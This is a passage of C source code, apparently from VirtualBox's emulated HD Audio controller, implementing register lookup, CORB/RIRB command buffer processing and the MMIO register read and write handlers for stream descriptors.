-1; } #ifdef IN_RING3 /** * Looks up a register covering the offset given by @a offReg. * * @returns Register index on success, -1 if not found. * @param offReg The register offset. */ static int hdaR3RegLookupWithin(uint32_t offReg) { /* * Aliases. */ if (offReg >= g_aHdaRegAliases[0].offReg) { for (unsigned i = 0; i < RT_ELEMENTS(g_aHdaRegAliases); i++) { uint32_t off = offReg - g_aHdaRegAliases[i].offReg; if (off < 4 && off < g_aHdaRegMap[g_aHdaRegAliases[i].idxAlias].size) return g_aHdaRegAliases[i].idxAlias; } Assert(g_aHdaRegMap[RT_ELEMENTS(g_aHdaRegMap) - 1].offset < offReg); return -1; } /* * Binary search the register map. */ int idxEnd = RT_ELEMENTS(g_aHdaRegMap); int idxLow = 0; for (;;) { int idxMiddle = idxLow + (idxEnd - idxLow) / 2; if (offReg < g_aHdaRegMap[idxMiddle].offset) { if (idxLow == idxMiddle) break; idxEnd = idxMiddle; } else if (offReg >= g_aHdaRegMap[idxMiddle].offset + g_aHdaRegMap[idxMiddle].size) { idxLow = idxMiddle + 1; if (idxLow >= idxEnd) break; } else return idxMiddle; } # ifdef RT_STRICT for (unsigned i = 0; i < RT_ELEMENTS(g_aHdaRegMap); i++) Assert(offReg - g_aHdaRegMap[i].offset >= g_aHdaRegMap[i].size); # endif return -1; } /** * Synchronizes the CORB / RIRB buffers between internal <-> device state. * * @returns IPRT status code. * @param pThis HDA state. * @param fLocal Specify true to synchronize HDA state's CORB buffer with the device state, * or false to synchronize the device state's RIRB buffer with the HDA state. * * @todo r=andy Break this up into two functions? */ static int hdaR3CmdSync(PHDASTATE pThis, bool fLocal) { int rc = VINF_SUCCESS; if (fLocal) { if (pThis->u64CORBBase) { AssertPtr(pThis->pu32CorbBuf); Assert(pThis->cbCorbBuf); /** @todo r=bird: An explanation is required why PDMDevHlpPhysRead is used with * the CORB and PDMDevHlpPCIPhysWrite with RIRB below. There are * similar unexplained inconsistencies in DevHDACommon.cpp. */ rc = PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), pThis->u64CORBBase, pThis->pu32CorbBuf, pThis->cbCorbBuf); Log(("hdaR3CmdSync/CORB: read %RGp LB %#x (%Rrc)\n", pThis->u64CORBBase, pThis->cbCorbBuf, rc)); AssertRCReturn(rc, rc); } } else { if (pThis->u64RIRBBase) { AssertPtr(pThis->pu64RirbBuf); Assert(pThis->cbRirbBuf); rc = PDMDevHlpPCIPhysWrite(pThis->CTX_SUFF(pDevIns), pThis->u64RIRBBase, pThis->pu64RirbBuf, pThis->cbRirbBuf); Log(("hdaR3CmdSync/RIRB: phys read %RGp LB %#x (%Rrc)\n", pThis->u64RIRBBase, pThis->pu64RirbBuf, rc)); AssertRCReturn(rc, rc); } } # ifdef DEBUG_CMD_BUFFER LogFunc(("fLocal=%RTbool\n", fLocal)); uint8_t i = 0; do { LogFunc(("CORB%02x: ", i)); uint8_t j = 0; do { const char *pszPrefix; if ((i + j) == HDA_REG(pThis, CORBRP)) pszPrefix = "[R]"; else if ((i + j) == HDA_REG(pThis, CORBWP)) pszPrefix = "[W]"; else pszPrefix = " "; /* three spaces */ Log((" %s%08x", pszPrefix, pThis->pu32CorbBuf[i + j])); j++; } while (j < 8); Log(("\n")); i += 8; } while(i != 0); do { LogFunc(("RIRB%02x: ", i)); uint8_t j = 0; do { const char *prefix; if ((i + j) == HDA_REG(pThis, RIRBWP)) prefix = "[W]"; else prefix = " "; Log((" %s%016lx", prefix, pThis->pu64RirbBuf[i + j])); } while (++j < 8); Log(("\n")); i += 8; } while (i != 0); # endif return rc; } /** * Processes the next CORB buffer command in the queue. * * This will invoke the HDA codec verb dispatcher. * * @returns IPRT status code. * @param pThis HDA state. */ static int hdaR3CORBCmdProcess(PHDASTATE pThis) { uint8_t corbRp = HDA_REG(pThis, CORBRP); uint8_t corbWp = HDA_REG(pThis, CORBWP); uint8_t rirbWp = HDA_REG(pThis, RIRBWP); Log3Func(("CORB(RP:%x, WP:%x) RIRBWP:%x\n", corbRp, corbWp, rirbWp)); if (!(HDA_REG(pThis, CORBCTL) & HDA_CORBCTL_DMA)) { LogFunc(("CORB DMA not active, skipping\n")); return VINF_SUCCESS; } Assert(pThis->cbCorbBuf); int rc = hdaR3CmdSync(pThis, true /* Sync from guest */); AssertRCReturn(rc, rc); uint16_t cIntCnt = HDA_REG(pThis, RINTCNT) & 0xff; if (!cIntCnt) /* 0 means 256 interrupts. */ cIntCnt = HDA_MAX_RINTCNT; Log3Func(("START CORB(RP:%x, WP:%x) RIRBWP:%x, RINTCNT:%RU8/%RU8\n", corbRp, corbWp, rirbWp, pThis->u16RespIntCnt, cIntCnt)); while (corbRp != corbWp) { corbRp = (corbRp + 1) % (pThis->cbCorbBuf / HDA_CORB_ELEMENT_SIZE); /* Advance +1 as the first command(s) are at CORBWP + 1. */ uint32_t uCmd = pThis->pu32CorbBuf[corbRp]; uint64_t uResp = 0; rc = pThis->pCodec->pfnLookup(pThis->pCodec, HDA_CODEC_CMD(uCmd, 0 /* Codec index */), &uResp); if (RT_FAILURE(rc)) LogFunc(("Codec lookup failed with rc=%Rrc\n", rc)); Log3Func(("Codec verb %08x -> response %016lx\n", uCmd, uResp)); if ( (uResp & CODEC_RESPONSE_UNSOLICITED) && !(HDA_REG(pThis, GCTL) & HDA_GCTL_UNSOL)) { LogFunc(("Unexpected unsolicited response.\n")); HDA_REG(pThis, CORBRP) = corbRp; /** @todo r=andy No CORB/RIRB syncing to guest required in that case? */ return rc; } rirbWp = (rirbWp + 1) % HDA_RIRB_SIZE; pThis->pu64RirbBuf[rirbWp] = uResp; pThis->u16RespIntCnt++; bool fSendInterrupt = false; if (pThis->u16RespIntCnt == cIntCnt) /* Response interrupt count reached? */ { pThis->u16RespIntCnt = 0; /* Reset internal interrupt response counter. */ Log3Func(("Response interrupt count reached (%RU16)\n", pThis->u16RespIntCnt)); fSendInterrupt = true; } else if (corbRp == corbWp) /* Did we reach the end of the current command buffer? */ { Log3Func(("Command buffer empty\n")); fSendInterrupt = true; } if (fSendInterrupt) { if (HDA_REG(pThis, RIRBCTL) & HDA_RIRBCTL_RINTCTL) /* Response Interrupt Control (RINTCTL) enabled? */ { HDA_REG(pThis, RIRBSTS) |= HDA_RIRBSTS_RINTFL; # ifndef LOG_ENABLED rc = hdaProcessInterrupt(pThis); # else rc = hdaProcessInterrupt(pThis, __FUNCTION__); # endif } } } Log3Func(("END CORB(RP:%x, WP:%x) RIRBWP:%x, RINTCNT:%RU8/%RU8\n", corbRp, corbWp, rirbWp, pThis->u16RespIntCnt, cIntCnt)); HDA_REG(pThis, CORBRP) = corbRp; HDA_REG(pThis, RIRBWP) = rirbWp; rc = hdaR3CmdSync(pThis, false /* Sync to guest */); AssertRCReturn(rc, rc); if (RT_FAILURE(rc)) AssertRCReturn(rc, rc); return rc; } #endif /* IN_RING3 */ /* Register access handlers. */ static int hdaRegReadUnimpl(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value) { RT_NOREF_PV(pThis); RT_NOREF_PV(iReg); *pu32Value = 0; return VINF_SUCCESS; } static int hdaRegWriteUnimpl(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { RT_NOREF_PV(pThis); RT_NOREF_PV(iReg); RT_NOREF_PV(u32Value); return VINF_SUCCESS; } /* U8 */ static int hdaRegReadU8(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value) { Assert(((pThis->au32Regs[g_aHdaRegMap[iReg].mem_idx] & g_aHdaRegMap[iReg].readable) & 0xffffff00) == 0); return hdaRegReadU32(pThis, iReg, pu32Value); } static int hdaRegWriteU8(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { Assert((u32Value & 0xffffff00) == 0); return hdaRegWriteU32(pThis, iReg, u32Value); } /* U16 */ static int hdaRegReadU16(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value) { Assert(((pThis->au32Regs[g_aHdaRegMap[iReg].mem_idx] & g_aHdaRegMap[iReg].readable) & 0xffff0000) == 0); return hdaRegReadU32(pThis, iReg, pu32Value); } static int hdaRegWriteU16(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { Assert((u32Value & 0xffff0000) == 0); return hdaRegWriteU32(pThis, iReg, u32Value); } /* U24 */ static int hdaRegReadU24(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value) { Assert(((pThis->au32Regs[g_aHdaRegMap[iReg].mem_idx] & g_aHdaRegMap[iReg].readable) & 0xff000000) == 0); return hdaRegReadU32(pThis, iReg, pu32Value); } #ifdef IN_RING3 static int hdaRegWriteU24(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { Assert((u32Value & 0xff000000) == 0); return hdaRegWriteU32(pThis, iReg, u32Value); } #endif /* U32 */ static int hdaRegReadU32(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value) { uint32_t iRegMem = g_aHdaRegMap[iReg].mem_idx; DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_READ); *pu32Value = pThis->au32Regs[iRegMem] & g_aHdaRegMap[iReg].readable; DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } static int hdaRegWriteU32(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { uint32_t iRegMem = g_aHdaRegMap[iReg].mem_idx; DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); pThis->au32Regs[iRegMem] = (u32Value & g_aHdaRegMap[iReg].writable) | (pThis->au32Regs[iRegMem] & ~g_aHdaRegMap[iReg].writable); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } static int hdaRegWriteGCTL(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { RT_NOREF_PV(iReg); #ifdef IN_RING3 DEVHDA_LOCK(pThis); #else if (!(u32Value & HDA_GCTL_CRST)) return VINF_IOM_R3_MMIO_WRITE; DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); #endif if (u32Value & HDA_GCTL_CRST) { /* Set the CRST bit to indicate that we're leaving reset mode. */ HDA_REG(pThis, GCTL) |= HDA_GCTL_CRST; LogFunc(("Guest leaving HDA reset\n")); } else { #ifdef IN_RING3 /* Enter reset state. */ LogFunc(("Guest entering HDA reset with DMA(RIRB:%s, CORB:%s)\n", HDA_REG(pThis, CORBCTL) & HDA_CORBCTL_DMA ? "on" : "off", HDA_REG(pThis, RIRBCTL) & HDA_RIRBCTL_RDMAEN ? "on" : "off")); /* Clear the CRST bit to indicate that we're in reset state. */ HDA_REG(pThis, GCTL) &= ~HDA_GCTL_CRST; hdaR3GCTLReset(pThis); #else AssertFailedReturnStmt(DEVHDA_UNLOCK(pThis), VINF_IOM_R3_MMIO_WRITE); #endif } if (u32Value & HDA_GCTL_FCNTRL) { /* Flush: GSTS:1 set, see 6.2.6. */ HDA_REG(pThis, GSTS) |= HDA_GSTS_FSTS; /* Set the flush status. */ /* DPLBASE and DPUBASE should be initialized with initial value (see 6.2.6). */ } DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } static int hdaRegWriteSTATESTS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); uint32_t v = HDA_REG_IND(pThis, iReg); uint32_t nv = u32Value & HDA_STATESTS_SCSF_MASK; HDA_REG(pThis, STATESTS) &= ~(v & nv); /* Write of 1 clears corresponding bit. */ DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } static int hdaRegReadLPIB(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value) { DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_READ); const uint8_t uSD = HDA_SD_NUM_FROM_REG(pThis, LPIB, iReg); uint32_t u32LPIB = HDA_STREAM_REG(pThis, LPIB, uSD); #ifdef LOG_ENABLED const uint32_t u32CBL = HDA_STREAM_REG(pThis, CBL, uSD); LogFlowFunc(("[SD%RU8] LPIB=%RU32, CBL=%RU32\n", uSD, u32LPIB, u32CBL)); #endif *pu32Value = u32LPIB; DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } #ifdef IN_RING3 /** * Returns the current maximum value the wall clock counter can be set to. * This maximum value depends on all currently handled HDA streams and their own current timing. * * @return Current maximum value the wall clock counter can be set to. * @param pThis HDA state. * * @remark Does not actually set the wall clock counter. */ static uint64_t hdaR3WalClkGetMax(PHDASTATE pThis) { const uint64_t u64WalClkCur = ASMAtomicReadU64(&pThis->u64WalClk); const uint64_t u64FrontAbsWalClk = pThis->SinkFront.pStream ? hdaR3StreamPeriodGetAbsElapsedWalClk(&pThis->SinkFront.pStream->State.Period) : 0; # ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND # error "Implement me!" # endif const uint64_t u64LineInAbsWalClk = pThis->SinkLineIn.pStream ? hdaR3StreamPeriodGetAbsElapsedWalClk(&pThis->SinkLineIn.pStream->State.Period) : 0; # ifdef VBOX_WITH_HDA_MIC_IN const uint64_t u64MicInAbsWalClk = pThis->SinkMicIn.pStream ? hdaR3StreamPeriodGetAbsElapsedWalClk(&pThis->SinkMicIn.pStream->State.Period) : 0; # endif uint64_t u64WalClkNew = RT_MAX(u64WalClkCur, u64FrontAbsWalClk); # ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND # error "Implement me!" # endif u64WalClkNew = RT_MAX(u64WalClkNew, u64LineInAbsWalClk); # ifdef VBOX_WITH_HDA_MIC_IN u64WalClkNew = RT_MAX(u64WalClkNew, u64MicInAbsWalClk); # endif Log3Func(("%RU64 -> Front=%RU64, LineIn=%RU64 -> %RU64\n", u64WalClkCur, u64FrontAbsWalClk, u64LineInAbsWalClk, u64WalClkNew)); return u64WalClkNew; } #endif /* IN_RING3 */ static int hdaRegReadWALCLK(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value) { #ifdef IN_RING3 RT_NOREF(iReg); DEVHDA_LOCK(pThis); *pu32Value = RT_LO_U32(ASMAtomicReadU64(&pThis->u64WalClk)); Log3Func(("%RU32 (max @ %RU64)\n",*pu32Value, hdaR3WalClkGetMax(pThis))); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; #else RT_NOREF(pThis, iReg, pu32Value); return VINF_IOM_R3_MMIO_READ; #endif } static int hdaRegWriteCORBRP(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { RT_NOREF(iReg); DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); if (u32Value & HDA_CORBRP_RST) { /* Do a CORB reset. */ if (pThis->cbCorbBuf) { #ifdef IN_RING3 Assert(pThis->pu32CorbBuf); RT_BZERO((void *)pThis->pu32CorbBuf, pThis->cbCorbBuf); #else DEVHDA_UNLOCK(pThis); return VINF_IOM_R3_MMIO_WRITE; #endif } LogRel2(("HDA: CORB reset\n")); HDA_REG(pThis, CORBRP) = HDA_CORBRP_RST; /* Clears the pointer. */ } else HDA_REG(pThis, CORBRP) &= ~HDA_CORBRP_RST; /* Only CORBRP_RST bit is writable. */ DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } static int hdaRegWriteCORBCTL(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { #ifdef IN_RING3 DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); int rc = hdaRegWriteU8(pThis, iReg, u32Value); AssertRC(rc); if (HDA_REG(pThis, CORBCTL) & HDA_CORBCTL_DMA) /* Start DMA engine. */ { rc = hdaR3CORBCmdProcess(pThis); } else LogFunc(("CORB DMA not running, skipping\n")); DEVHDA_UNLOCK(pThis); return rc; #else RT_NOREF(pThis, iReg, u32Value); return VINF_IOM_R3_MMIO_WRITE; #endif } static int hdaRegWriteCORBSIZE(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { #ifdef IN_RING3 RT_NOREF(iReg); DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); if (HDA_REG(pThis, CORBCTL) & HDA_CORBCTL_DMA) /* Ignore request if CORB DMA engine is (still) running. */ { LogFunc(("CORB DMA is (still) running, skipping\n")); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } u32Value = (u32Value & HDA_CORBSIZE_SZ); uint16_t cEntries = HDA_CORB_SIZE; /* Set default. */ switch (u32Value) { case 0: /* 8 byte; 2 entries. */ cEntries = 2; break; case 1: /* 64 byte; 16 entries. */ cEntries = 16; break; case 2: /* 1 KB; 256 entries. */ /* Use default size. */ break; default: LogRel(("HDA: Guest tried to set an invalid CORB size (0x%x), keeping default\n", u32Value)); u32Value = 2; /* Use default size. */ break; } uint32_t cbCorbBuf = cEntries * HDA_CORB_ELEMENT_SIZE; Assert(cbCorbBuf <= HDA_CORB_SIZE * HDA_CORB_ELEMENT_SIZE); /* Paranoia. */ if (cbCorbBuf != pThis->cbCorbBuf) { RT_BZERO(pThis->pu32CorbBuf, HDA_CORB_SIZE * HDA_CORB_ELEMENT_SIZE); /* Clear CORB when setting a new size. */ pThis->cbCorbBuf = cbCorbBuf; } LogFunc(("CORB buffer size is now %RU32 bytes (%u entries)\n", pThis->cbCorbBuf, pThis->cbCorbBuf / HDA_CORB_ELEMENT_SIZE)); HDA_REG(pThis, CORBSIZE) = u32Value; DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; #else RT_NOREF(pThis, iReg, u32Value); return VINF_IOM_R3_MMIO_WRITE; #endif } static int hdaRegWriteCORBSTS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { RT_NOREF_PV(iReg); DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); uint32_t v = HDA_REG(pThis, CORBSTS); HDA_REG(pThis, CORBSTS) &= ~(v & u32Value); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } static int hdaRegWriteCORBWP(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { #ifdef IN_RING3 DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); int rc = hdaRegWriteU16(pThis, iReg, u32Value); AssertRCSuccess(rc); rc = hdaR3CORBCmdProcess(pThis); DEVHDA_UNLOCK(pThis); return rc; #else RT_NOREF(pThis, iReg, u32Value); return VINF_IOM_R3_MMIO_WRITE; #endif } static int hdaRegWriteSDCBL(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); PHDASTREAM pStream = hdaGetStreamFromSD(pThis, HDA_SD_NUM_FROM_REG(pThis, CBL, iReg)); if (pStream) { pStream->u32CBL = u32Value; LogFlowFunc(("[SD%RU8] CBL=%RU32\n", pStream->u8SD, u32Value)); } else LogFunc(("[SD%RU8] Warning: Changing SDCBL on non-attached stream (0x%x)\n", HDA_SD_NUM_FROM_REG(pThis, CTL, iReg), u32Value)); int rc = hdaRegWriteU32(pThis, iReg, u32Value); AssertRCSuccess(rc); DEVHDA_UNLOCK(pThis); return rc; } static int hdaRegWriteSDCTL(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { #ifdef IN_RING3 /* Get the stream descriptor. */ const uint8_t uSD = HDA_SD_NUM_FROM_REG(pThis, CTL, iReg); DEVHDA_LOCK_BOTH_RETURN(pThis, uSD, VINF_IOM_R3_MMIO_WRITE); /* * Some guests write too much (that is, 32-bit with the top 8 bit being junk) * instead of 24-bit required for SDCTL. So just mask this here to be safe. */ u32Value &= 0x00ffffff; bool fRun = RT_BOOL(u32Value & HDA_SDCTL_RUN); bool fInRun = RT_BOOL(HDA_REG_IND(pThis, iReg) & HDA_SDCTL_RUN); bool fReset = RT_BOOL(u32Value & HDA_SDCTL_SRST); bool fInReset = RT_BOOL(HDA_REG_IND(pThis, iReg) & HDA_SDCTL_SRST); LogFunc(("[SD%RU8] fRun=%RTbool, fInRun=%RTbool, fReset=%RTbool, fInReset=%RTbool, %R[sdctl]\n", uSD, fRun, fInRun, fReset, fInReset, u32Value)); /* * Extract the stream tag the guest wants to use for this specific * stream descriptor (SDn). This only can happen if the stream is in a non-running * state, so we're doing the lookup and assignment here. * * So depending on the guest OS, SD3 can use stream tag 4, for example. */ uint8_t uTag = (u32Value >> HDA_SDCTL_NUM_SHIFT) & HDA_SDCTL_NUM_MASK; if (uTag > HDA_MAX_TAGS) { LogFunc(("[SD%RU8] Warning: Invalid stream tag %RU8 specified!\n", uSD, uTag)); int rc = hdaRegWriteU24(pThis, iReg, u32Value); DEVHDA_UNLOCK_BOTH(pThis, uSD); return rc; } PHDATAG pTag = &pThis->aTags[uTag]; AssertPtr(pTag); LogFunc(("[SD%RU8] Using stream tag=%RU8\n", uSD, uTag)); /* Assign new values. */ pTag->uTag = uTag; pTag->pStream = hdaGetStreamFromSD(pThis, uSD); PHDASTREAM pStream = pTag->pStream; AssertPtr(pStream); if (fInReset) { Assert(!fReset); Assert(!fInRun && !fRun); /* Exit reset state. */ ASMAtomicXchgBool(&pStream->State.fInReset, false); /* Report that we're done resetting this stream by clearing SRST. */ HDA_STREAM_REG(pThis, CTL, uSD) &= ~HDA_SDCTL_SRST; LogFunc(("[SD%RU8] Reset exit\n", uSD)); } else if (fReset) { /* ICH6 datasheet 18.2.33 says that RUN bit should be cleared before initiation of reset. */ Assert(!fInRun && !fRun); LogFunc(("[SD%RU8] Reset enter\n", uSD)); hdaR3StreamLock(pStream); # ifdef VBOX_WITH_AUDIO_HDA_ASYNC_IO hdaR3StreamAsyncIOLock(pStream); hdaR3StreamAsyncIOEnable(pStream, false /* fEnable */); # endif /* Make sure to remove the run bit before doing the actual stream reset. */ HDA_STREAM_REG(pThis, CTL, uSD) &= ~HDA_SDCTL_RUN; hdaR3StreamReset(pThis, pStream, pStream->u8SD); # ifdef VBOX_WITH_AUDIO_HDA_ASYNC_IO hdaR3StreamAsyncIOUnlock(pStream); # endif hdaR3StreamUnlock(pStream); } else { /* * We enter here to change DMA states only. */ if (fInRun != fRun) { Assert(!fReset && !fInReset); LogFunc(("[SD%RU8] State changed (fRun=%RTbool)\n", uSD, fRun)); hdaR3StreamLock(pStream); int rc2; # ifdef VBOX_WITH_AUDIO_HDA_ASYNC_IO if (fRun) rc2 = hdaR3StreamAsyncIOCreate(pStream); hdaR3StreamAsyncIOLock(pStream); # endif if (fRun) { # ifdef VBOX_WITH_AUDIO_HDA_ASYNC_IO hdaR3StreamAsyncIOEnable(pStream, fRun /* fEnable */); # endif /* (Re-)initialize the stream with current values. */ rc2 = hdaR3StreamInit(pStream, pStream->u8SD); AssertRC(rc2); /* Remove the old stream from the device setup. */ hdaR3RemoveStream(pThis, &pStream->State.Cfg); /* Add the stream to the device setup. */ rc2 = hdaR3AddStream(pThis, &pStream->State.Cfg); AssertRC(rc2); } /* Enable/disable the stream. */ rc2 = hdaR3StreamEnable(pStream, fRun /* fEnable */); AssertRC(rc2); if (fRun) { /* Keep track of running streams. */ pThis->cStreamsActive++; /* (Re-)init the stream's period. */ hdaR3StreamPeriodInit(&pStream->State.Period, pStream->u8SD, pStream->u16LVI, pStream->u32CBL, &pStream->State.Cfg); /* Begin a new period for this stream. */ rc2 = hdaR3StreamPeriodBegin(&pStream->State.Period, hdaWalClkGetCurrent(pThis)/* Use current wall clock time */); AssertRC(rc2); rc2 = hdaR3TimerSet(pThis, pStream, TMTimerGet(pThis->pTimer[pStream->u8SD]) + pStream->State.cTransferTicks, false /* fForce */); AssertRC(rc2); } else { /* Keep track of running streams. */ Assert(pThis->cStreamsActive); if (pThis->cStreamsActive) pThis->cStreamsActive--; /* Make sure to (re-)schedule outstanding (delayed) interrupts. */ hdaR3ReschedulePendingInterrupts(pThis); /* Reset the period. */ hdaR3StreamPeriodReset(&pStream->State.Period); } # ifdef VBOX_WITH_AUDIO_HDA_ASYNC_IO hdaR3StreamAsyncIOUnlock(pStream); # endif /* Make sure to leave the lock before (eventually) starting the timer. */ hdaR3StreamUnlock(pStream); } } int rc2 = hdaRegWriteU24(pThis, iReg, u32Value); AssertRC(rc2); DEVHDA_UNLOCK_BOTH(pThis, uSD); return VINF_SUCCESS; /* Always return success to the MMIO handler. */ #else /* !IN_RING3 */ RT_NOREF_PV(pThis); RT_NOREF_PV(iReg); RT_NOREF_PV(u32Value); return VINF_IOM_R3_MMIO_WRITE; #endif /* IN_RING3 */ } static int hdaRegWriteSDSTS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { #ifdef IN_RING3 const uint8_t uSD = HDA_SD_NUM_FROM_REG(pThis, STS, iReg); DEVHDA_LOCK_BOTH_RETURN(pThis, uSD, VINF_IOM_R3_MMIO_WRITE); PHDASTREAM pStream = hdaGetStreamFromSD(pThis, uSD); if (!pStream) { AssertMsgFailed(("[SD%RU8] Warning: Writing SDSTS on non-attached stream (0x%x)\n", HDA_SD_NUM_FROM_REG(pThis, STS, iReg), u32Value)); int rc = hdaRegWriteU16(pThis, iReg, u32Value); DEVHDA_UNLOCK_BOTH(pThis, uSD); return rc; } hdaR3StreamLock(pStream); uint32_t v = HDA_REG_IND(pThis, iReg); /* Clear (zero) FIFOE, DESE and BCIS bits when writing 1 to it (6.2.33). */ HDA_REG_IND(pThis, iReg) &= ~(u32Value & v); /* Some guests tend to write SDnSTS even if the stream is not running. * So make sure to check if the RUN bit is set first. */ const bool fRunning = pStream->State.fRunning; Log3Func(("[SD%RU8] fRunning=%RTbool %R[sdsts]\n", pStream->u8SD, fRunning, v)); PHDASTREAMPERIOD pPeriod = &pStream->State.Period; if (hdaR3StreamPeriodLock(pPeriod)) { const bool fNeedsInterrupt = hdaR3StreamPeriodNeedsInterrupt(pPeriod); if (fNeedsInterrupt) hdaR3StreamPeriodReleaseInterrupt(pPeriod); if (hdaR3StreamPeriodIsComplete(pPeriod)) { /* Make sure to try to update the WALCLK register if a period is complete. * Use the maximum WALCLK value all (active) streams agree to. */ const uint64_t uWalClkMax = hdaR3WalClkGetMax(pThis); if (uWalClkMax > hdaWalClkGetCurrent(pThis)) hdaR3WalClkSet(pThis, uWalClkMax, false /* fForce */); hdaR3StreamPeriodEnd(pPeriod); if (fRunning) hdaR3StreamPeriodBegin(pPeriod, hdaWalClkGetCurrent(pThis) /* Use current wall clock time */); } hdaR3StreamPeriodUnlock(pPeriod); /* Unlock before processing interrupt. */ } # ifndef LOG_ENABLED hdaProcessInterrupt(pThis); # else hdaProcessInterrupt(pThis, __FUNCTION__); # endif const uint64_t tsNow = TMTimerGet(pThis->pTimer[uSD]); Assert(tsNow >= pStream->State.tsTransferLast); const uint64_t cTicksElapsed = tsNow - pStream->State.tsTransferLast; # ifdef LOG_ENABLED const uint64_t cTicksTransferred = pStream->State.cbTransferProcessed * pStream->State.cTicksPerByte; # endif uint64_t cTicksToNext = pStream->State.cTransferTicks; if (cTicksToNext) /* Only do any calculations if the stream currently is set up for transfers. */ { Log3Func(("[SD%RU8] cTicksElapsed=%RU64, cTicksTransferred=%RU64, cTicksToNext=%RU64\n", pStream->u8SD, cTicksElapsed, cTicksTransferred, cTicksToNext)); Log3Func(("[SD%RU8] cbTransferProcessed=%RU32, cbTransferChunk=%RU32, cbTransferSize=%RU32\n", pStream->u8SD, pStream->State.cbTransferProcessed, pStream->State.cbTransferChunk, pStream->State.cbTransferSize)); if (cTicksElapsed <= cTicksToNext) { cTicksToNext = cTicksToNext - cTicksElapsed; } else /* Catch up. */ { Log3Func(("[SD%RU8] Warning: Lagging behind (%RU64 ticks elapsed, maximum allowed is %RU64)\n", pStream->u8SD, cTicksElapsed, cTicksToNext)); LogRelMax2(64, ("HDA: Stream #%RU8 interrupt lagging behind (expected %uus, got %uus), trying to catch up ...\n", pStream->u8SD, (TMTimerGetFreq(pThis->pTimer[pStream->u8SD]) / pThis->u16TimerHz) / 1000,(tsNow - pStream->State.tsTransferLast) / 1000)); cTicksToNext = 0; } Log3Func(("[SD%RU8] -> cTicksToNext=%RU64\n", pStream->u8SD, cTicksToNext)); /* Reset processed data counter. */ pStream->State.cbTransferProcessed = 0; pStream->State.tsTransferNext = tsNow + cTicksToNext; /* Only re-arm the timer if there were pending transfer interrupts left * -- it could happen that we land in here if a guest writes to SDnSTS * unconditionally. */ if (pStream->State.cTransferPendingInterrupts) { pStream->State.cTransferPendingInterrupts--; /* Re-arm the timer. */ LogFunc(("Timer set SD%RU8\n", pStream->u8SD)); hdaR3TimerSet(pThis, pStream, tsNow + cTicksToNext, false /* fForce */); } } hdaR3StreamUnlock(pStream); DEVHDA_UNLOCK_BOTH(pThis, uSD); return VINF_SUCCESS; #else /* IN_RING3 */ RT_NOREF(pThis, iReg, u32Value); return VINF_IOM_R3_MMIO_WRITE; #endif /* !IN_RING3 */ } static int hdaRegWriteSDLVI(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value) { DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); if (HDA_REG_IND(pThis, iReg) == u32Value) /* Value already set? */ { /* nothing to do */ } else { uint8_t uSD = HDA_SD_NUM_FROM_REG(pThis, LVI, iReg); PHDASTREAM pStream = hdaGetStreamFromSD(pThis, uSD); if (pStream) { /** @todo Validate LVI. */ pStream->u16LVI = u32Value; LogFunc(("[SD%RU8] Updating LVI to %RU16\n", uSD, pStream->u16LVI)); #ifdef HDA_USE_DMA_ACCESS_HANDLER if (hdaGetDirFromSD(uSD) == PDMAUDIODIR_OUT) { /* Try registering the DMA handlers. * As we can't be sure in which order LVI + BDL base are set, try registering in both routines. */ if (hdaR3StreamRegisterDMAHandlers(pThis, pStream)) LogFunc(("[SD%RU8] DMA logging enabled\n", pStream->u8SD)); } #endif } else AssertMsgFailed(("[SD%RU8] Warning: Changing SDLVI on non-attached stream (0x%x)\n", uSD, u32Value)); int rc2 = hdaRegWriteU16(pThis, iReg, u32Value); AssertRC(rc2); } DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; /* Always return 